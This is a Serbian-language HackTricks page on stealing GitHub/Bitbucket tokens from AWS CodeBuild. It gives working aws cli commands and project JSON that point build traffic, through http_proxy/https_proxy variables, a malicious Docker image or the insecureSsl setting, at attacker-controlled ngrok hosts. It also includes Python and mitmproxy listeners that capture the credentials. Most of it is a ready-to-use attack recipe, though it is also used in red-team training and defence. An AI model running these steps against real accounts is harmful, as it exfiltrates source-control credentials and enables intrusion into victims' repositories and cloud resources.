AWS Codebuild - Token Leakage

Reading time: 6 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Oporavak konfigurisanih tokena za Github/Bitbucket

Prvo, proverite da li postoje bilo akreditivi izvora koji su konfigurirani koje biste mogli da iscurite:

bash
aws codebuild list-source-credentials

Putem Docker slike

Ako otkrijete da je autentifikacija na primer za Github postavljena u nalogu, možete izvršiti tu pristup (GH token ili OAuth token) tako što ćete naterati Codebuild da koristi specifičnu docker sliku za pokretanje izgradnje projekta.

U tu svrhu možete napraviti novi Codebuild projekat ili promeniti okruženje postojećeg da postavite Docker sliku.

Docker slika koju možete koristiti je https://github.com/carlospolop/docker-mitm. Ovo je vrlo osnovna Docker slika koja će postaviti env promenljive https_proxy, http_proxy i SSL_CERT_FILE. Ovo će vam omogućiti da presretnete većinu saobraćaja hosta navedenog u https_proxy i http_proxy i verujete SSL CERT-u navedenom u SSL_CERT_FILE.

  1. Kreirajte i otpremite svoju Docker MitM sliku
  • Pratite uputstva iz repozitorijuma da postavite svoju proxy IP adresu i postavite svoj SSL certifikat i izgradite docker sliku.
  • NE POSTAVLJAJTE http_proxy da ne biste presreli zahteve ka metadata endpoint-u.
  • Možete koristiti ngrok kao ngrok tcp 4444 da postavite proxy na vaš host.
  • Kada izgradite Docker sliku, otpremite je na javni repozitorijum (Dockerhub, ECR...)
  1. Postavite okruženje
  • Kreirajte novi Codebuild projekat ili izmenite okruženje postojećeg.
  • Postavite projekat da koristi prethodno generisanu Docker sliku.
  1. Postavite MitM proxy na vašem hostu
  • Kao što je navedeno u Github repozitorijumu, možete koristiti nešto poput:
bash
mitmproxy --listen-port 4444  --allow-hosts "github.com"

tip

Verzija mitmproxy koja je korišćena je 9.0.1, prijavljeno je da sa verzijom 10 ovo možda neće raditi.

  1. Pokrenite gradnju i zabeležite akreditive
  • Možete videti token u Authorization header-u:

Ovo se takođe može uraditi iz aws cli sa nečim poput

bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Via insecureSSL

Codebuild projekti imaju podešavanje nazvano insecureSsl koje je skriveno na vebu i može se promeniti samo putem API-ja.
Omogućavanje ovoga omogućava Codebuild-u da se poveže sa repozitorijumom bez provere sertifikata koji nudi platforma.

  • Prvo treba da enumerišete trenutnu konfiguraciju sa nečim poput:
bash
aws codebuild batch-get-projects --name <proj-name>
  • Zatim, sa prikupljenim informacijama možete ažurirati postavku projekta insecureSsl na True. Sledeći je primer mog ažuriranja projekta, obratite pažnju na insecureSsl=True na kraju (ovo je jedina stvar koju treba da promenite iz prikupljene konfiguracije).
  • Pored toga, dodajte i env varijable http_proxy i https_proxy koje upućuju na vaš tcp ngrok kao:
bash
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n       - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
python
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Na kraju, kliknite na Build the project, akreditivi će biti poslati u čistom tekstu (base64) na mitm port:

Putem HTTP protokola

[!TIP] > Ova ranjivost je ispravljena od strane AWS-a u nekom trenutku tokom nedelje 20. februara 2023. (mislim u petak). Tako da napadač više ne može da je zloupotrebi :)

Napadač sa povišenim dozvolama u CodeBuild-u mogao bi da iscuri Github/Bitbucket token koji je konfigurisan ili ako su dozvole konfigurirane putem OAuth, privremeni OAuth token koji se koristi za pristup kodu.

  • Napadač bi mogao da doda promenljive okruženja http_proxy i https_proxy u CodeBuild projekat koje upućuju na njegovu mašinu (na primer http://5.tcp.eu.ngrok.io:14972).
  • Zatim, promenite URL github repozitorijuma da koristi HTTP umesto HTTPS, na primer: http://github.com/carlospolop-forks/TestActions
  • Zatim, pokrenite osnovni primer sa https://github.com/synchronizing/mitm na portu koji su označile proxy promenljive (http_proxy i https_proxy)
python
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Zatim kliknite na Build the project ili pokrenite build iz komandne linije:
sh
aws codebuild start-build --project-name <proj-name>
  • Na kraju, akreditivi će biti poslati u čistom tekstu (base64) na mitm port:

warning

Sada će napadač moći da koristi token sa svoje mašine, da izlista sve privilegije koje ima i (zlo)upotrebi lakše nego korišćenjem CodeBuild servisa direktno.

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks